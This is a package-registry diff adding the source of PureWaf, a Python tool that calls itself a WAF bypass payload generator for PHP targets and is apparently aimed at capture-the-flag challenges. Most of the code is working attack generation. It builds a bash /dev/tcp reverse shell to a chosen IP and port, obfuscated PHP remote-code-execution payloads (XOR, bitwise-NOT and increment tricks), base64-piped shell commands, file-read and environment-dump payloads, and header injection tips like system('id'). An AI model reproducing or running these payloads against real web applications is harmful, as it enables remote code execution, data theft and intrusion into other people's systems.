PureWaf 1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
PureWaf/PureWaf.py ADDED
@@ -0,0 +1,269 @@
1
+ # main package
2
+
3
+ import logging
4
+ import os
5
+ import sys
6
+ import time
7
+
8
+ from . import bypass
9
+ from . import bypass_data
10
+ from . import utils
11
+
12
+ version = "1.0"
13
+
14
+ SPECIAL_UPLOAD_POC_PAYLOAD = bypass_data.SPECIAL_UPLOAD_POC_TRIGGER_PAYLOADS[1]
15
+ SPECIAL_UPLOAD_POC_EGS = bypass_data.SPECIAL_UPLOAD_POC_EGS
16
+ BACKTRACK_LIMIT_POC_EGS = bypass_data.BACKTRACK_LIMIT_POC_EGS
17
+
18
+
19
+ def banner(version_text):
20
+ return rf"""
21
+ ____ __ __ ___
22
+ | _ \ _ _ _ __ ___ \ \ / /_ _ | _|
23
+ | |_) | | | | '__/ _ \ \ \ /\ / / _` /| |_
24
+ | __/| |_| | | | (_) | \ V V / (_| \| _|
25
+ |_| \__,_|_| \___/ \_/\_/ \__,_||_|
26
+
27
+ [ PureWaf :: Pure You Hate ]
28
+ [ Author :: Pure Stream ]
29
+ [ Version :: {version_text}]
30
+ [ Github :: https://github.com/PureStream108/PureWaf ]
31
+
32
+
33
+ """
34
+
35
+
36
+ def _configure_logger(log_level: str):
37
+ logger = logging.getLogger("PureWaf")
38
+ if not logger.handlers:
39
+ handler = logging.StreamHandler(sys.stdout)
40
+ formatter = logging.Formatter("%(message)s")
41
+ handler.setFormatter(formatter)
42
+ logger.addHandler(handler)
43
+
44
+ level_name = (log_level or "INFO").upper()
45
+ if level_name not in ["DEBUG", "INFO", "QUIET"]:
46
+ logger.warning("[!] Invalid log level, using INFO instead.")
47
+ level_name = "INFO"
48
+
49
+ show_progress = True
50
+ if level_name == "QUIET":
51
+ logger.setLevel(logging.CRITICAL)
52
+ sys.stdout = open(os.devnull, "w")
53
+ show_progress = False
54
+ else:
55
+ logger.setLevel(getattr(logging, level_name))
56
+
57
+ if level_name != "DEBUG":
58
+ import warnings
59
+
60
+ warnings.filterwarnings("ignore")
61
+
62
+ return logger, show_progress
63
+
64
+
65
+ def _emit_special_payload_egs(logger, payload):
66
+ if payload not in bypass_data.SPECIAL_UPLOAD_POC_TRIGGER_PAYLOADS:
67
+ return
68
+ logger.info("Example: ")
69
+ for line in bypass_data.SPECIAL_UPLOAD_POC_EGS.splitlines():
70
+ logger.info(line)
71
+
72
+
73
+ def _extract_regex_pattern(waf_regex: str):
74
+ if not waf_regex:
75
+ return ""
76
+ pattern = waf_regex.strip()
77
+ if pattern.startswith("/") and pattern.count("/") >= 2:
78
+ last = pattern.rfind("/")
79
+ return pattern[1:last]
80
+ return pattern
81
+
82
+
83
+ def _looks_like_backtrack_risk_regex(waf_regex: str):
84
+ pattern = _extract_regex_pattern(waf_regex)
85
+ if not pattern:
86
+ return False
87
+
88
+ lowered = pattern.lower()
89
+ if "(?r)" in lowered or "(?0)" in lowered:
90
+ return True
91
+
92
+ has_anchors = "^" in pattern and "$" in pattern
93
+ has_greedy_prefix = ".*(" in pattern or ".+(" in pattern
94
+ has_repeat = "*" in pattern or "+" in pattern or "{" in pattern
95
+ has_wide_class = r"\w" in pattern or r"\W" in pattern
96
+
97
+ return has_anchors and has_greedy_prefix and has_repeat and has_wide_class
98
+
99
+
100
+ def _emit_contextual_tips(logger, payload, waf_regex):
101
+ _emit_special_payload_egs(logger, payload)
102
+
103
+ if payload in bypass_data.HEADER_TIP_TRIGGER_PAYLOADS:
104
+ logger.info("TIPS: User-Agent: 1=system('id');")
105
+ logger.info("TIPS: User-Agent: system('id');")
106
+
107
+ if payload in bypass_data.VARIABLE_HIJACK_TIP_TRIGGER_PAYLOADS:
108
+ logger.info("TIPS: POST: 1=system('id');")
109
+
110
+ if _looks_like_backtrack_risk_regex(waf_regex):
111
+ logger.info("Example (Backtrack limit bypass):")
112
+ for line in BACKTRACK_LIMIT_POC_EGS.splitlines():
113
+ logger.info(line)
114
+
115
+
116
+ def purewaf(
117
+ waf_words="",
118
+ waf_chars="",
119
+ waf_regex="",
120
+ limit_length=999999,
121
+ flagfile="/flag",
122
+ read_env=False,
123
+ reflect_shell=False,
124
+ port=8080,
125
+ ip="127.0.0.1",
126
+ phpinfo=False,
127
+ log_level="INFO",
128
+ total_payload=False,
129
+ phpv=7.0,
130
+ ):
131
+ logger, show_progress = _configure_logger(log_level)
132
+ logger.info(banner(version).rstrip())
133
+ time.sleep(1)
134
+
135
+ # 校验版本
136
+ try:
137
+ phpv = float(phpv)
138
+ except (ValueError, TypeError):
139
+ logger.error(f"[!] Invalid php_version: {phpv}. Using default 7.0")
140
+ phpv = 7.0
141
+
142
+ # 打印配置
143
+ logger.info("")
144
+ logger.info("-" * 40)
145
+ logger.info(f"[*] Configuration:")
146
+ logger.info(f" - waf_words: {waf_words}")
147
+ logger.info(f" - waf_chars: {waf_chars}")
148
+ logger.info(f" - waf_regex: {waf_regex}")
149
+ logger.info(f" - limit_length: {limit_length}")
150
+ logger.info(f" - flagfile: {flagfile}")
151
+ logger.info(f" - read_env: {read_env}")
152
+ logger.info(f" - reflect_shell: {reflect_shell}")
153
+ logger.info(f" - port: {port}")
154
+ logger.info(f" - ip: {ip}")
155
+ logger.info(f" - phpinfo: {phpinfo}")
156
+ logger.info(f" - phpv: {phpv}")
157
+ logger.info(f" - log_level: {log_level}")
158
+ logger.info(f" - total_payload: {total_payload}")
159
+ logger.info("-" * 40)
160
+ logger.info("")
161
+
162
+ waf_words_list = utils.parse_waf_words(waf_words)
163
+ waf_chars_set = utils.parse_waf_chars(waf_chars)
164
+ waf_regex_obj = utils.parse_waf_regex(waf_regex)
165
+
166
+ options_root = bypass.BypassOptions(
167
+ flagfile="/", # 初始默认根目录
168
+ read_env=False,
169
+ reflect_shell=False,
170
+ ip=ip,
171
+ port=port,
172
+ phpinfo=False,
173
+ php_version=phpv,
174
+ )
175
+
176
+ options_flag = bypass.BypassOptions(
177
+ flagfile=flagfile,
178
+ read_env=read_env,
179
+ reflect_shell=reflect_shell,
180
+ ip=ip,
181
+ port=port,
182
+ phpinfo=phpinfo,
183
+ php_version=phpv,
184
+ )
185
+
186
+ # 生成 payload
187
+ logger.info("[*] Generating payloads for Root Directory...")
188
+ base_payloads_root = bypass.generate_candidates(options_root)
189
+ if not base_payloads_root:
190
+ logger.warning("[!] No base payloads generated for Root Directory.")
191
+ shortest_root = "N/A"
192
+ else:
193
+ strategies = utils.get_encoding_strategies()
194
+ encoded_payloads_root = bypass.apply_encodings(base_payloads_root, strategies)
195
+ passed_root = bypass.filter_payloads(
196
+ encoded_payloads_root,
197
+ waf_words_list,
198
+ waf_chars_set,
199
+ waf_regex_obj,
200
+ limit_length,
201
+ show_progress=show_progress,
202
+ verbose=total_payload,
203
+ )
204
+ if not passed_root:
205
+ logger.warning("[!] No payload passed WAF filters for Root Directory.")
206
+ shortest_root = "N/A"
207
+ else:
208
+ shortest_root = min(passed_root, key=len)
209
+
210
+ logger.info("")
211
+
212
+ logger.info("[*] Generating payloads for Flag File...")
213
+ base_payloads_flag = bypass.generate_candidates(options_flag)
214
+ if not base_payloads_flag:
215
+ logger.warning("[!] No base payloads generated for Flag File.")
216
+ shortest_flag = "N/A"
217
+ else:
218
+ encoded_payloads_flag = bypass.apply_encodings(base_payloads_flag, strategies)
219
+ passed_flag = bypass.filter_payloads(
220
+ encoded_payloads_flag,
221
+ waf_words_list,
222
+ waf_chars_set,
223
+ waf_regex_obj,
224
+ limit_length,
225
+ show_progress=show_progress,
226
+ verbose=total_payload,
227
+ )
228
+ if not passed_flag:
229
+ logger.warning("[!] No payload passed WAF filters for Flag File.")
230
+ shortest_flag = "N/A"
231
+ else:
232
+ shortest_flag = min(passed_flag, key=len)
233
+
234
+ logger.info("")
235
+ logger.info("-" * 40)
236
+ logger.info(f"[+] Shortest Root Payload : {shortest_root}")
237
+ logger.info(f"[+] Shortest Flag Payload : {shortest_flag}")
238
+ logger.info("-" * 40)
239
+ logger.info("")
240
+ _emit_contextual_tips(logger, shortest_flag, waf_regex)
241
+ logger.info("")
242
+
243
+ return shortest_flag
244
+
245
+
246
+ def main():
247
+ import argparse
248
+
249
+ parser = argparse.ArgumentParser(description="PureWaf - WAF Bypass Payload Generator")
250
+ parser.add_argument("--waf_words", default="", help="Comma separated forbidden words")
251
+ parser.add_argument("--waf_chars", default="", help="Forbidden characters")
252
+ parser.add_argument("--waf_regex", default="", help="Forbidden regex")
253
+ parser.add_argument("--limit_length", type=int, default=999999, help="Max payload length")
254
+ parser.add_argument("--flagfile", default="/flag", help="Target file to read")
255
+ parser.add_argument("--read_env", action="store_true", help="Generate env reading payloads")
256
+ parser.add_argument("--reflect_shell", action="store_true", help="Generate reverse shell payloads")
257
+ parser.add_argument("--port", type=int, default=8080, help="Reverse shell port")
258
+ parser.add_argument("--ip", default="127.0.0.1", help="Reverse shell IP")
259
+ parser.add_argument("--phpinfo", action="store_true", help="Generate phpinfo payloads")
260
+ parser.add_argument("--log_level", default="INFO", help="Log level")
261
+ parser.add_argument("--total_payload", action="store_true", help="Show all passed payloads")
262
+ parser.add_argument("--phpv", default=7.0, type=float, help="PHP Version (e.g. 5.6, 7.4)")
263
+
264
+ args = parser.parse_args()
265
+ purewaf(**vars(args))
266
+
267
+
268
+ if __name__ == "__main__":
269
+ main()
PureWaf/__init__.py ADDED
@@ -0,0 +1,3 @@
1
+ from .PureWaf import banner, purewaf, version
2
+
3
+ __all__ = ["purewaf", "version", "banner"]
PureWaf/bypass.py ADDED
@@ -0,0 +1,301 @@
1
+ from dataclasses import dataclass
2
+
3
+ from . import bypass_data
4
+ from . import utils
5
+
6
+
7
+ @dataclass
8
+ class BypassOptions:
9
+ flagfile: str
10
+ read_env: bool
11
+ reflect_shell: bool
12
+ ip: str
13
+ port: int
14
+ phpinfo: bool
15
+ php_version: float = 7.0
16
+
17
+
18
+ def _octal_encode(command: str):
19
+ """
20
+ 八进制
21
+ """
22
+ encoded = "".join(f"\\{oct(ord(c))[2:]}" for c in command)
23
+ return f"$'{encoded}'"
24
+
25
+
26
+ def _wildcard_bypass(path: str):
27
+ """
28
+ 通配符
29
+ """
30
+ if not path or path == "/":
31
+ return path
32
+ parts = path.split("/")
33
+ new_parts = []
34
+ for p in parts:
35
+ if len(p) > 1:
36
+ new_parts.append(p[0] + "?" * (len(p) - 1))
37
+ else:
38
+ new_parts.append(p)
39
+ return "/".join(new_parts)
40
+
41
+
42
+ def _base64_pipe_bypass(command: str):
43
+ """
44
+ 变量拆分
45
+ """
46
+ import base64
47
+
48
+ b64_cmd = base64.b64encode(command.encode()).decode()
49
+
50
+ assign_base64, concat_base64 = utils._split_string_to_vars("base64")
51
+ assign_sh, concat_sh = utils._split_string_to_vars("sh")
52
+
53
+ assign_echo, concat_echo = utils._split_string_to_vars("echo")
54
+
55
+ payload = f"{assign_base64}{assign_sh}{assign_echo} {concat_echo} {b64_cmd}| {concat_base64} -d| {concat_sh}"
56
+
57
+ return payload
58
+
59
+
60
+ def _generate_php_rce_payloads(command: str, php_version: float):
61
+ """
62
+ 生成无字母数字
63
+ """
64
+ payloads = []
65
+
66
+ for template in bypass_data.BACKTICK_TEMPLATES:
67
+ if "{path}" in template:
68
+ pass
69
+ else:
70
+ payloads.append(template.replace("{path}", command))
71
+
72
+ payloads.append(f"`{command}`")
73
+
74
+ wrappers = bypass_data.PHP_EXEC_WRAPPERS
75
+
76
+ for func in wrappers:
77
+ # 适用于 php7.0
78
+ if php_version >= 7.0:
79
+ not_func = utils.generate_php_not(func)
80
+ not_arg = utils.generate_php_not(command)
81
+ if not_func and not_arg:
82
+ payloads.append(f"{not_func}({not_arg});")
83
+
84
+ # 异或构造
85
+ xor_func = utils.generate_php_xor(func)
86
+ xor_arg = utils.generate_php_xor(command)
87
+ if xor_func and xor_arg:
88
+ # $_=...; $_(...);
89
+ var_func = "$_"
90
+ payloads.append(f"{var_func}={xor_func};{var_func}({xor_arg});")
91
+
92
+ # 自增
93
+ inc_func_code = utils.generate_php_increment(func)
94
+ inc_arg_code = utils.generate_php_increment(command)
95
+
96
+ if inc_func_code and inc_arg_code:
97
+ if xor_arg:
98
+ payloads.append(f"{inc_func_code};$_____({xor_arg});")
99
+
100
+ return payloads
101
+
102
+
103
+ def _append_upload_exec_payloads(payloads):
104
+ # 最终验证包装
105
+ payloads.extend(bypass_data.UPLOAD_EXEC_TEMPLATES)
106
+ for cmd in bypass_data.UPLOAD_EXEC_TEMPLATES:
107
+ for wrapper in bypass_data.UPLOAD_EXEC_WRAPPER_TEMPLATES:
108
+ payloads.append(wrapper.format(cmd=cmd))
109
+
110
+
111
+ def generate_candidates(options: BypassOptions):
112
+ payloads = []
113
+
114
+ # 收集用于命令执行生成的目标命令
115
+ target_cmd = None
116
+ if options.flagfile:
117
+ target_cmd = f"cat {options.flagfile}"
118
+
119
+ for template in bypass_data.READFILE_TEMPLATES:
120
+ # 原始路径
121
+ payloads.append(template.format(path=options.flagfile, keyword="flag"))
122
+ # 通配符路径
123
+ payloads.append(template.format(path=_wildcard_bypass(options.flagfile), keyword="flag"))
124
+ # 转义路径
125
+ payloads.append(template.format(path=utils.obfuscate_filename_escape(options.flagfile), keyword="flag"))
126
+ # 引号路径
127
+ payloads.append(template.format(path=utils.obfuscate_filename_quotes(options.flagfile), keyword="flag"))
128
+
129
+ # 反引号 ``
130
+ for template in bypass_data.BACKTICK_TEMPLATES:
131
+ payloads.append(template.format(path=options.flagfile))
132
+
133
+ # 包含 include
134
+ for template in bypass_data.INCLUDE_TEMPLATES:
135
+ payloads.append(template.format(path=options.flagfile))
136
+
137
+ # 文件枚举
138
+ payloads.extend(bypass_data.FILE_ENUM_TEMPLATES)
139
+
140
+ if options.read_env:
141
+ payloads.extend(bypass_data.READ_ENV_TEMPLATES)
142
+
143
+ # 嵌套目录枚举
144
+ payloads.extend(bypass_data.DIRECTORY_ENUM_TEMPLATES)
145
+
146
+ _append_upload_exec_payloads(payloads)
147
+
148
+ # 日志包含
149
+ payloads.extend(bypass_data.LOG_INCLUSION_TEMPLATES)
150
+ target_cmd = "env"
151
+
152
+ if options.reflect_shell:
153
+ for template in bypass_data.REFLECT_SHELL_TEMPLATES:
154
+ payloads.append(template.format(ip=options.ip, port=options.port))
155
+
156
+ _append_upload_exec_payloads(payloads)
157
+
158
+ # 反弹shell
159
+
160
+ shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{options.ip}/{options.port} 0>&1'"
161
+ for template in bypass_data.WEBSHELL_TEMPLATES:
162
+ payloads.append(template.format(cmd=shell_cmd))
163
+
164
+ target_cmd = shell_cmd
165
+
166
+ if options.phpinfo:
167
+ for template in bypass_data.PHPINFO_TEMPLATES:
168
+ if template.startswith("(") and template.endswith(");"):
169
+ # 对php版本进行判断
170
+ if options.php_version < 7.0:
171
+ continue
172
+ payloads.append(template)
173
+ target_cmd = "phpinfo"
174
+
175
+ # Header 链利用
176
+ if options.read_env or options.phpinfo:
177
+ payloads.extend(bypass_data.HEADER_EXEC_TEMPLATES)
178
+
179
+ # 变量劫持
180
+ if options.reflect_shell or options.phpinfo:
181
+ payloads.extend(bypass_data.VARIABLE_HIJACK_TEMPLATES)
182
+
183
+ if target_cmd:
184
+ if target_cmd == "phpinfo":
185
+ # 自增
186
+ inc_code = utils.generate_php_increment("phpinfo")
187
+ if inc_code:
188
+ payloads.append(f"{inc_code};$_____();")
189
+
190
+ if options.php_version >= 7.0:
191
+ not_code = utils.generate_php_not("phpinfo")
192
+ payloads.append(f"{not_code}();")
193
+ else:
194
+ rce_payloads = _generate_php_rce_payloads(target_cmd, options.php_version)
195
+ payloads.extend(rce_payloads)
196
+
197
+ current_payloads = payloads.copy()
198
+ for p in current_payloads:
199
+ if ";" in p or "(" in p or "$_" in p:
200
+ for tag_tmpl in bypass_data.SHORT_TAG_TEMPLATES:
201
+ payloads.append(tag_tmpl.format(payload=p))
202
+
203
+ # 对当前已生成载荷应用编码管道绕过
204
+ base_payloads = payloads.copy()
205
+ for p in base_payloads:
206
+ # 仅作用于命令字符串
207
+ if ";" not in p and "(" not in p:
208
+ payloads.append(_base64_pipe_bypass(p))
209
+
210
+ # 八进制编码
211
+ simple_cmds = ["ls", "cat /flag", "tac /flag", "env"]
212
+ for cmd in simple_cmds:
213
+ payloads.append(_octal_encode(cmd))
214
+
215
+ # 空格 bypass
216
+ candidates = payloads.copy()
217
+ for p in payloads:
218
+ if " " in p:
219
+ for template in bypass_data.SPACE_BYPASS_TEMPLATES:
220
+ candidates.append(template.format(payload=p))
221
+
222
+ return utils.dedupe_preserve_order(candidates)
223
+
224
+
225
+ def apply_encodings(payloads, strategies):
226
+ encoded = []
227
+ for payload in payloads:
228
+ for _name, encoder in strategies:
229
+ try:
230
+ encoded.append(encoder(payload))
231
+ except Exception:
232
+ continue
233
+ return utils.dedupe_preserve_order(encoded)
234
+
235
+
236
+ def filter_payloads(
237
+ payloads,
238
+ waf_words,
239
+ waf_chars,
240
+ waf_regex,
241
+ limit_length,
242
+ show_progress=True,
243
+ verbose=False,
244
+ ):
245
+ passed = []
246
+ progress = ProgressBar(len(payloads), verbose=verbose) if show_progress else None
247
+ for idx, payload in enumerate(payloads, start=1):
248
+ if progress:
249
+ progress.update(idx)
250
+ if utils.is_payload_allowed(payload, waf_words, waf_chars, waf_regex, limit_length):
251
+ passed.append(payload)
252
+ if progress:
253
+ progress.mark_pass(payload)
254
+ if progress:
255
+ progress.finish()
256
+ return passed
257
+
258
+
259
+ class ProgressBar:
260
+ def __init__(self, total, width=24, stream=None, verbose=False):
261
+ self.total = max(int(total), 0)
262
+ self.width = max(int(width), 5)
263
+ self.stream = stream
264
+ self.current = 0
265
+ self.passed = 0
266
+ self.verbose = verbose
267
+
268
+ def update(self, current):
269
+ self.current = current
270
+ self._write_line()
271
+
272
+ def mark_pass(self, payload):
273
+ self.passed += 1
274
+ if self.verbose:
275
+ self._write_line(end="\n")
276
+ self._write(f"PASS: {payload}\n")
277
+ else:
278
+ self._write_line()
279
+
280
+ def finish(self):
281
+ self.current = self.total
282
+ self._write_line(end="\n")
283
+
284
+ def _write_line(self, end=""):
285
+ bar = self._render_bar()
286
+ msg = f"\r{bar} {self.current}/{self.total} passed:{self.passed}"
287
+ self._write(msg + end)
288
+
289
+ def _render_bar(self):
290
+ if self.total <= 0:
291
+ filled = 0
292
+ else:
293
+ filled = int(self.width * (self.current / self.total))
294
+ return "[" + ("=" * filled).ljust(self.width, ".") + "]"
295
+
296
+ def _write(self, text):
297
+ import sys
298
+
299
+ stream = self.stream or sys.stdout
300
+ stream.write(text)
301
+ stream.flush()